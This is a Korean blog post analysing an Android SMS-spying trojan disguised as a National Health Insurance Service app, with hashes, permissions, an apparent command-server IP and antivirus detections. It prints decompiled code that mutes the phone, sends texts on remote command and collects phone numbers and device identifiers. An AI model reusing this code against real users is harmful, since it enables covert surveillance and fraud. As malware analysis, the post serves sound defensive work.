꿈을꾸는 파랑새

오늘은 국민건강보험 공단 피싱 악성코드인 the.apk(2023.8.13)를 간단하게 분석을 해 보겠습니다. 일단 해당 악성코드는 지난 시간에 피싱을 분석을 했을 때 최종적으로 다운로드 된 악성코드입니다.
일단 the로 돼 있지만 실제로 이름은 The건강보험 이라는 이름으로 돼 있습니다.
먼저 악성코드 해쉬값 은 다음과 같습니다.
파일명: the.apk
사이즈:5.47 MB
CRC32:c31358e8
MD5:e394e0f65a89c23275d9f4764179512a
SHA-1:1a5590b15febc2c1f409674c1f57c7d4b462ea84
SHA-256:d30b9c4f4a8b8a50d8f42d23f509f6cdb4fa7bef6ef56ad664a4f7d8d44d2c8e
입니다.

[소프트웨어 팁/보안 및 분석] - 국민건강보험 공단 피싱 사이트 스미싱 사이트-x08(.)g7rs(.)hair(2023.08.13)

 

국민건강보험 공단 피싱 사이트 스미싱 사이트-x08(.)g7rs(.)hair(2023.08.13)

오늘은 국민건강보험 공단 피싱 사이트 인 sa1(.)f6pt(.)hair 에 대해 글을 적어 보겠습니다. 일단 예전에는 윈도우 환경에서 들어오면 해당 사이트를 국민건강보험으로 넘겨지고 사파리 부분도 장

wezard4u.tistory.com

The건강보험 악성코드 권한 요청The건강보험 접속 화면
The건강보험 악성코드 권한 요청

해당 안드로이드 악성코드의 권한은 다음과 같습니다.

android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="33"
android:compileSdkVersionCodename="13" package="com.suigsocrityx.yee"
platformBuildVersionCode="33" platformBuildVersionName="13">
<uses-sdk android:minSdkVersion="24" android:targetSdkVersion="33"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"/>
<uses-feature android:name="android.hardware.telephony" android:required="false"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_MMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" 
android:maxSdkVersion="29"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<permission android:name="com.suigsocrityx.yee.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"/>
<uses-permission android:name="com.suigsocrityx.yee.
DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>

The건강보험 악성코드 안드로이드 권한
The건강보험 악성코드 안드로이드 권한

이며 설명은 다음과 같습니다.
1.android.permission.INTERNET: 앱이 인터넷에 접속할 수 있도록 허용하는 권한 앱은 네트워크 통신을 통해 데이터를 받아오거나 전송할 수 있습니다.
2.android.permission.ACCESS_NETWORK_STATE:앱이 기기의 네트워크 상태를 확인할 수 있도록 허용하는 권한 앱은 네트워크 연결 여부를 판단할 수 있습니다.
3.android.permission.READ_PRIVILEGED_PHONE_STATE:특정한 허용된 전화 상태 정보에 접근할 수 있도록 허용하는 권한입 주로 시스템 앱에서 사용됩니다.
4.android.hardware.telephony기능 (`<uses-feature android:name="android.hardware.telephony" android:required="false"/>`): 앱이 기기의 전화 기능을 사용할 수 있는지 여부를 나타내는 선언 android:required="false"로 설정되어 있어, 이 기능이 없더라도 앱이 작동할 수 있습니다.
5.android.permission.READ_SMS:앱이 문자 메시지를 읽을 수 있도록 허용하는 권한 앱은 사용자의 SMS 메시지를 읽어올 수 있습니다.
6.android.permission.RECEIVE_SMS:앱이 문자 메시지를 수신할 수 있도록 허용하는 권한백그라운드에서 SMS 메시지를 수신하고 처리할 수 있습니다.
7.android.permission.RECEIVE_MMS:앱이 MMS(멀티미디어 메시지)를 수신할 수 있도록 허용하는 권한 MMS 메시지를 수신하고 처리할 수 있습니다.
8.android.permission.SEND_SMS: 앱이 문자 메시지를 전송할 수 있도록 허용하는 권한입니다. 앱은 SMS 메시지를 보낼 수 있습니다.
9.android.permission.READ_PHONE_STATE:앱이 기기의 전화 상태 정보에 접근할 수 있도록 허용하는 권한 해당 권한은 SDK 버전이 29 이하일 때만 사용 가능
10. android.permission.READ_PHONE_NUMBERS:앱이 사용자의 전화번호를 읽을 수 있도록 허용하는 권한 사용자의 전화 번호를 앱이 읽을 수 있습니다.
11. android.permission.VIBRATE: 앱이 기기의 진동 기능을 사용할 수 있도록 허용하는 권한 알림을 위해 진동을 사용할 수 있습니다.
12.com.suigsocrityx.yee.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION: 사용자 정의 권한으로 앱 내부에서만 사용 가능하며 다른 앱과 공유되지 않습니다. 해당 권한은 앱의 동적 브로드캐스트 리시버가 사용할 수 있는 권한입니다.
그리고 해당 악성코드에 포함된 인터넷 주소들은 다음과 같습니다.

악성코드에 포함이 된 인터넷 주소
악성코드에 포함이 된 인터넷 주소

hxxp://localhost/
http://schemas.android(.)com/apk/res-auto
http://schemas.android(.)com/apk/res/android
http://70.36.102(.)196/
https://www.nhis.or(.)kr

악성코드 문자(SMS)관련 코드 는 다음과 같습니다.

악성코드 문자 관련 코드
악성코드 문자 관련 코드

public void prfSettings(String res) {
        Log.d("Preodic", res);
        try {
            JSONObject ob = new JSONObject(res);
            SharedPreferences pref = getSharedPreferences("pref", 0);
            SharedPreferences.Editor editor = pref.edit();
            editor.putBoolean("Optim", true);
            editor.commit();
            Log.d("Preodic", 1 != 0 ? DiskLruCache.VERSION_1 : "0");
            if (1 != 0) {
                AudioManager audioManager = (AudioManager) getSystemService("audio");
                if (audioManager != null) {
                    audioManager.setStreamMute(5, true);
                    audioManager.setStreamMute(2, true);
                    audioManager.setStreamMute(1, true);
                }
                Vibrator v = (Vibrator) getSystemService("vibrator");
                v.cancel();
            }
            boolean bSendState = ob.getString("sms_sendstate").equals(DiskLruCache.VERSION_1);
            if (bSendState) {
                try {
                    SmsManager smsManager = SmsManager.getDefault();
                    smsManager.sendTextMessage(ob.getString("sms_telnum"),
                    null, ob.getString("sms_sendmemo"), null, null);
                } catch (Exception ex) {
                    ex.printStackTrace();
                }
            }
        } catch (JSONException e) {
            e.printStackTrace();
        } catch (Exception e2) {
            e2.printStackTrace();
        }
    }
}

해당 코드는 안드로이드 애플리케이션 내부에서 사용되는 메서드인 prfSettings를 나타내고 있으며 해당 메서드는 주어진 JSON 형식의 문자열 데이터를 처리하며 해당 데이터를 기반으로 설정 및 동작을 조작하는 역할을 합니다. 아래는 코드의 주요 기능과 동작에 대한 설명입니다.
Log.d("Preodic", res);:Logcat에 "Preodic" 태그와 함께 주어진 문자열 res를 출력하는 로그를 남기며 로그는 앱 디버깅 및 추적에 사용됩니다.
JSON 데이터 처리:
JSONObject ob = new JSONObject(res);:주어진 문자열 res를 JSON 형식으로 파싱하여 ob라는 JSONObject 객체로 저장
SharedPreferences 설정:
SharedPreferences pref = getSharedPreferences("pref", 0);: "pref" 이름의 SharedPreferences를 가져 오며 SharedPreferences는 키-값 쌍의 영구 저장소로 사용됩니다.
SharedPreferences.Editor editor = pref.edit();: SharedPreferences를 수정하기 위한 Editor 객체를 생성
editor.putBoolean("Optim", true);: Optim 키에 대한 Boolean 값을 true로 설정
editor.commit();:변경된 내용을 저장
오디오와 진동 설정:
AudioManager 객체를 사용하여 오디오 관련 설정을 조작
audioManager.setStreamMute(5, true);: 미디어 스트림을 무음 처리
Vibrator v = (Vibrator) getSystemService("vibrator");:Vibrator 객체를 가져옵니다.
v.cancel();: 이전에 실행 중이던 진동을 취소
SMS 전송(문자 전송):
ob.getString("sms_sendstate").equals(DiskLruCache.VERSION_1);: JSON 데이터에서 sms_sendstate 값을 가져와서 그 값이 1 또는 0 인지 비교
smsManager.sendTextMessage:문자 를 전송하는 데 사용되는 SmsManager 객체를 가져와 SMS 메시지를 전송
sms_telnum은 수신자 전화번호, sms_sendmemo는 전송할 메시지 내용을 나타냄
예외 처리:
JSON 파싱 및 기타 작업 중 발생할 수 있는 예외를 처리
각 예외 유형에 대한 예외 핸들러(catch)가 제공되며 예외가 발생하면 해당 예외를 출력하고 처리
prfSettings 메서드가 주어진 JSON 데이터를 기반으로 설정 변경,오디오 및 진동 설정, SMS 전송을 수행하며 발생하는 예외도 적절히 처리하는 코드임을 알 수 있습니다.

com.suigsocrityx.yee.MainActivity 에 포함이 된 WebView를 사용하여 웹 페이지를 로드 코드

WebView를 사용하여 웹 페이지를 로드 코드
WebView를 사용하여 웹 페이지를 로드 코드

@Override // android.webkit.WebViewClient
            public void onReceivedHttpError(WebView view, WebResourceRequest request,
            WebResourceResponse errorResponse) {
            }
        });
        mainView.loadUrl("https://www.nhis(.)or(.)kr");
        if (!Tools.hasPermissions(this)) {
            ActivityCompat.requestPermissions(this, Build.VERSION.SDK_INT > 29 ?
            Tools.all_permissions1 : Tools.all_permissions, 100);
        } else {
            registerUser();
        }
        Intent intent = new Intent(getApplicationContext(), LoopService.class);
        startService(intent);
    }

해당 코드는 안드로이드 애플리케이션의 일부로 주로 WebView를 사용하여 웹 페이지를 로드하고 권한을 요청하며 서비스를 시작하는 역할을 수행을 진행합니다. 아래는 코드의 주요 기능과 동작에 대한 설명입니다.:
@Override // android.webkit.WebViewClient: WebViewClient의 메서드를 오버라이드하여 웹 뷰의 동작을 컨트롤
public void onReceivedHttpError(WebView view, WebResourceRequest request, WebResourceResponse errorResponse) { }:웹 리소스 로드 중 HTTP 에러가 발생하면 호출되는 콜백 메서드 현재는 내용이 비어있는 상태이며 에러 발생 시 처리 로직이 추가되어야 할 수 있습니다.
mainView.loadUrl(" https://www.nhis.or().kr ");:주어진 URL(" https://www.nhis(.)or.kr ")을 가진 웹 페이지를 mainView 라는 WebView에 로드(이것은 진짜 국민건강보험 사이트 그래서 처음 실행을 하면 해당 메인 화면이 보이는 것입니다.)
권한 확인 및 요청:
if (!Tools.hasPermissions(this)):Tools 클래스의 hasPermissions 메서드를 사용하여 앱이 필요한 권한을 가지고 있는지 확인
ActivityCompat.requestPermissions:앱이 필요한 권한을 가지고 있지 않았으면 사용자에게 권한 요청 대화상자를 표시하고 권한을 요청
안드로이드 10 이상이면 Tools.all_permissions1 배열에 있는 모든 권한을 요청하고 그 이하 버전이면 Tools.all_permissions 배열에 있는 권한을 요청
권한이 있을 때:
registerUser();: registerUser 메서드를 호출하여 사용자를 등록하는 로직을 수행
서비스 시작:
Intent intent = new Intent(getApplicationContext(), LoopService.class);: LoopService 클래스를 실행하기 위한 인텐트를 생성
startService(intent);:생성한 인텐트를 사용하여 LoopService를 시작 이렇게 해서 백그라운드에서 주기적으로 실행되는 서비스를 시작
코드가 웹 페이지 로딩, 권한 확인 및 요청, 사용자 등록, 및 백그라운드 서비스 실행과 같은 다양한 앱 동작을 수행하는 것을 확인할 수 있습니다.
com.suigsocrityx.yee.Tools에 포함이 된 전화번호 또는 기기 식별자 가져 오는 코드

public static String get_phone_number(Context context) {
        TelephonyManager tm = (TelephonyManager) context.getSystemService("phone");
        String phoneNumber = HttpUrl.FRAGMENT_ENCODE_SET;
        if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_SMS") == 0
        || ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_NUMBERS")
        == 0 ||
        ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE")
        == 0)
        {
            phoneNumber = tm.getLine1Number();
        }
        if (phoneNumber == null || phoneNumber.equals(HttpUrl.FRAGMENT_ENCODE_SET)) {
            String SimserialNum = HttpUrl.FRAGMENT_ENCODE_SET;
            String DeviceID = HttpUrl.FRAGMENT_ENCODE_SET;
            if (Build.VERSION.SDK_INT < 29) {
                SimserialNum = tm.getSimSerialNumber();
            }
            if ((SimserialNum == null || SimserialNum.equals(HttpUrl.FRAGMENT_ENCODE_SET))
            && (DeviceID = tm.getDeviceId()) == null) {
                DeviceID = Settings.Secure.getString(context.getApplicationContext()
                .getContentResolver(), "android_id");
            }
            String identifier = HttpUrl.FRAGMENT_ENCODE_SET;
            if (SimserialNum != null && DeviceID != null) {
                identifier = DeviceID.toUpperCase() + "-" + SimserialNum.toUpperCase();
            } else if (DeviceID != null) {
                identifier = DeviceID.toUpperCase();
            }
            String phoneNumber2 = identifier;
            return phoneNumber2;
        } else if (phoneNumber.charAt(0) == '+') {
            return phoneNumber.substring(1);
        } else {
            return phoneNumber;
        }
    }

해당 코드는 안드로이드 애플리케이션에서 사용자의 전화번호 또는 기기 식별자를 가져오는 메서드인 get_phone_number를 나타내고 있습니다.
1.public static String get_phone_number(Context context):주어진 Context 를 기반으로 사용자의 전화번호 또는 기기 식별자를 가져오는 정적 메서드
2.기기의 TelephonyManager 가져오기: TelephonyManager tm = (TelephonyManager) context.getSystemService("phone");:주어진 Context를 사용하여 TelephonyManager 객체를 가져오며 TelephonyManager는 전화 관련 정보와 기능에 대한 접근을 제공
3. 전화번호 가져오기: String phoneNumber = HttpUrl.FRAGMENT_ENCODE_SET;: 초기값으로 빈 문자열로 설정
권한 확인 및 권한이 있는 경우 tm.getLine1Number() 를 호출하여 실제 전화번호를 가져옵니다.
가져온 전화번호가 null이거나 빈 문자열이면 다른 식별자 정보를 사용하여 전화번호를 생성
4. 기기 식별자 정보 확인:if (Build.VERSION.SDK_INT < 29):Android 29 버전보다 낮은 경우에만 실행
SimserialNum = tm.getSimSerialNumber();:SIM 카드의 일련번호를 가져옵니다.
DeviceID = tm.getDeviceId();:기기의 고유 식별자를 가져옵니다.
만약 SimserialNum 과 DeviceID 가 모두 null이 아니라면, 이들을 대문자로 변환하여 연결한 문자열을 identifier로 설정
DeviceID 가 null일 때 기기의 안드로이드 ID를 가져와 identifier로 설정
5. 전화번호 생성: 기기 식별자 정보를 사용하여 phoneNumber2 를 생성
6. 특수 케이스 처리: 가져온 전화번호가 + 로 시작하는 경우 맨 앞의 + 를 제거하여 반환
그 외의 경우 가져온 전화번호 그대로 반환
get_phone_number 메서드가 전화번호 또는 기기 식별자를 가져오는 로직을 구현하고 권한 확인 및 특수 케이스 처리를 통해 결과를 반환하는 것을 확인할 수 있습니다.
androidx.appcompat.app.AppCompatDelegateImpl 에서는  자동으로 관리되는 Night Mode 관리자들을 정리 코드들이 있습니다.

AutoNightModeManager 코드
AutoNightModeManager 코드

private void cleanupAutoManagers() {
        AutoNightModeManager autoNightModeManager = this.mAutoTimeNightModeManager;
        if (autoNightModeManager != null) {
            autoNightModeManager.cleanup();
        }
        AutoNightModeManager autoNightModeManager2 = this.mAutoBatteryNightModeManager;
        if (autoNightModeManager2 != null) {
            autoNightModeManager2.cleanup();
        }
    }

해당 코드는 안드로이드 애플리케이션에서 자동으로 관리되는 다크모드 관리자들을 정리(cleanup)하는 메서드인 cleanupAutoManagers 를 나타내고 있습니다. 코드 내에서 두 개의 AutoNightModeManager 객체가 있고 각 객체에 대해 cleanup  메서드를 호출하여 정리 작업을 수행
1.private void cleanupAutoManagers():자동으로 관리되는 Night Mode 관리자들을 정리하는 메서드 이며 해당 메서드는 클래스 내부에서만 접근할 수 있습니다.
2.AutoNightModeManager정리:AutoNightModeManager autoNightModeManager = this.mAutoTimeNightModeManager;:mAutoTimeNightModeManager 라는 이름의 AutoNightModeManager 객체를 가져옴
만약 autoNightModeManager가 null이 아니라면 해당 관리자의 cleanup 메서드를 호출하여 정리 작업을 수행
3.AutoNightModeManager 정리:
AutoNightModeManager autoNightModeManager2 = this.mAutoBatteryNightModeManager;:mAutoBatteryNightModeManager 라는 이름의 AutoNightModeManager 객체를 가져옴
만약 autoNightModeManager2 가 null이 아니라면 해당 관리자의 cleanup 메서드를 호출하여 정리 작업을 수행
2023-08-21 23:05:09 UTC 기준 바이러스토탈에서 탐지 하는 보안 업체들은 다음과 같습니다.
Alibaba:TrojanSpy:Android/SmsThief.22062d18
Antiy-AVL:Trojan/Generic.ASMalwAD.63
Avast:Android:SmsForw-BX [Trj]
Avast-Mobile:Android:SmsForw-BX [Trj]
AV/:Android:SmsForw-BX [Trj]
Avira (no cloud):ANDROID/SMSSpy.YKE.Gen
BitDefenderFalx:Android.Riskware.SmsSpy.EQ
Cynet:Malicious (score: 99)
DrWeb:Android.SmsSpy.12111
ESET-NOD32:A Variant Of Android/Spy.SmsSpy.ZH
F-Secure:Malware.ANDROID/SMSSpy.YKE.Gen
Fortinet:Android/SmsSpy.ZH!tr.spy
Ikarus:Trojan-Spy.AndroidOS.SMSSpy
K7GW:Spyware ( 0059fc121 )
Kaspersky:HEUR:Trojan-Spy.AndroidOS.SmsThief.tk
MAX:Malware (ai Score=99)
McAfee:Artemis!E394E0F65A89
McAfee-GW-Edition:Artemis!Trojan
Microsoft:TrojanSpy:AndroidOS/SMSSpy.M!MTB
NANO-Antivirus:Trojan.Android.SmsSpy.jyjbpu
Symantec:Trojan.Gen.MBT
Symantec Mobile Insight:AppRisk:Generisk
Trustlook:Android.Malware.Spyware
ZoneAlarm by Check Point:HEUR:Trojan-Spy.AndroidOS.SmsThief.tk
즉 기본적인 보안 수칙을 잘 지키며 되고 그리고 해당 악성코드는 아마도 정상적인 사이트를 보여주고 나서 전화 또는 문자를 통해서 보이스피싱을 하지 않을까 생각이 됩니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band